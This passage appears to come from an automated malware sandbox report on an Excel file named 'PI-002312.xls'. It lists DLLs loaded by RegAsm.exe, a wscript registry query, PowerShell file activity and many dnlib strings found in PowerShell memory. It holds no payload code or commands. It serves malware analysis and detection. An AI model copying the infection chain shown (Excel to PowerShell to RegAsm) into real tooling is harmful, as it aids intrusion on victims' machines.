                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: samcli.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: msacm32.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc_os.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dwmapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: shcore.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rstrtmgr.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: bcrypt.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc6.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: dhcpcsvc.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: webio.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: rpcrtremote.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: nlaapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
                Source: PI-002312.xlsStatic file information: File size 1358336 > 1048576
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetHandler source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberRefProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeRefs source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParent source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.ApplyEditAndContinue source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
